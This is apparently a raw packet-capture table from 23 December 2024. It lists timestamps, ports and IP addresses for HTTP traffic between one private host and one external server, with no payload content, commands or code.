Dec 23, 2024 09:00:42.754170895 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.754226923 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.754349947 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.754688978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.754734039 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.755367994 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.755593061 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.755649090 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.756473064 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.756644011 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.756699085 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.757419109 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.757569075 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.757616043 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.758549929 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.758713007 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.758780956 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.759517908 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.759691000 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.759738922 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.760539055 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.760719061 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.760756016 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.761578083 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.761732101 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.761883974 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.762602091 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.762792110 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.762846947 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.763638020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.763822079 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.763864994 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.764686108 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.764802933 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.764846087 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.879776001 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.879966974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.880017996 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.880326986 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.880587101 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.880629063 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.881273031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.881416082 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.881531954 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.882067919 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.882250071 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.882452011 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.883052111 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.883239985 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.883280993 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.884073973 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.884277105 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.884319067 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.885189056 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.885288000 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.885329962 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.886147022 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.886363029 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.886478901 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.887191057 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.887378931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.887423038 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.888189077 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.888382912 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.888451099 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.889225960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.889425039 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.889565945 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.890269041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.890438080 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.890522003 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.891299009 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.891506910 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.891554117 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.892307997 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.892576933 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.893055916 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.893353939 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.893620014 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.893688917 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.894364119 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.894556999 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.894597054 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.895400047 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.895673990 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.895715952 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.896485090 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.896665096 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.897439003 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.897481918 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.897650003 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.897723913 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.898535013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.898741961 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.898781061 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.899544001 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.899766922 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.899808884 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.900624990 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.900862932 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.900902987 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:42.901653051 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:42.956198931 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.009489059 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.009699106 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.009802103 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.010051966 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.010365963 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.010530949 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.010704994 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.010921001 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.011199951 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.011684895 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.011898041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.012023926 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.012728930 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.012909889 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.013289928 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.013740063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.013930082 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.013998985 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.014765978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.014957905 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.015001059 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.015809059 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.016009092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.016050100 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.016834974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.017013073 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.017057896 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.017916918 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.018062115 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.018381119 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.018892050 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.019090891 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.019133091 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.019949913 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.020159006 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.020200014 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.020991087 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.021148920 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.021217108 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.022017002 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.022198915 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.022907972 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.023011923 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.023219109 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.023258924 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.024085999 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.024321079 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.024463892 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.025100946 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.025286913 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.025337934 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.026165962 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.026333094 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.026485920 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.027175903 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.027395010 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.027467012 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.028198004 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.028393030 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.028466940 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.029287100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.029481888 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.029524088 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.030253887 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.030450106 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.030708075 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.031296968 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.031478882 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.031527996 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.032345057 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.032519102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.032800913 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.033370972 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.033557892 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.033631086 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.034410954 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.034591913 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.034638882 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.035413980 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.035618067 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.035770893 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.036457062 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.036638975 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.036680937 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.037480116 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.037678003 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.038014889 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.038558960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.038705111 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.038743973 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.039527893 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.039710999 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.039792061 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.040576935 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.040757895 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.041591883 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.041646957 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.041775942 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.041816950 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.042661905 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.042829990 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.043668985 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.043720961 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.072268963 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.072362900 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.072417974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.072694063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.072746038 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.072993994 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.073510885 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.073560953 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.073926926 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.074101925 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.074172020 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.074930906 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.075123072 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.075287104 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.075953007 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.076136112 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.076189041 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.076981068 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.077188015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.077445984 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.078030109 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.078197002 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.078334093 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.079061031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.079286098 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.079327106 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.080087900 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.080308914 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.080346107 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.081113100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.081254959 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.081688881 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.139959097 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.140191078 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.140294075 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.140346050 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.140618086 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.140799999 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.141108036 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.141335011 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.141381025 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.142144918 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.142311096 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.142373085 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.142878056 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.143066883 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.143317938 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.143919945 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.144072056 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.144120932 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.145040035 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.145142078 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.145195007 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.145963907 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.146153927 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.146208048 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.146987915 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.147217035 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.147366047 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.148032904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.148207903 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.148253918 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.149071932 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.149300098 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.149391890 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.150109053 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.150335073 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.150379896 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.151122093 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.201926947 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.202008009 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.202054977 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.202334881 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.202497959 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.202794075 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.203406096 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.203464031 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.203546047 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.204406977 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.204701900 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.204829931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.205003023 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.205308914 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.205812931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.205984116 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.206033945 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.206825018 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.207021952 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.207073927 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.207815886 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.207995892 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.208033085 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.208863974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.209044933 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.209104061 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.209880114 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.210072041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.210170031 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.210906982 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.211101055 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.211184025 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.211941004 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.212125063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.212184906 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.212968111 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.213145971 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.213193893 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.213994026 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.214184999 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.214242935 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.215030909 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.215209007 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.215275049 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.216135979 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.216268063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.216314077 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.217123032 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.217274904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.217385054 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.218147993 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.218302965 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.218357086 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.219197989 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.219361067 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.219410896 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.220226049 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.220451117 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.220509052 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.221309900 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.221457958 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.221513033 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.222318888 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.222480059 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.222548962 CET	49794	80	192.168.2.6	185.215.113.16
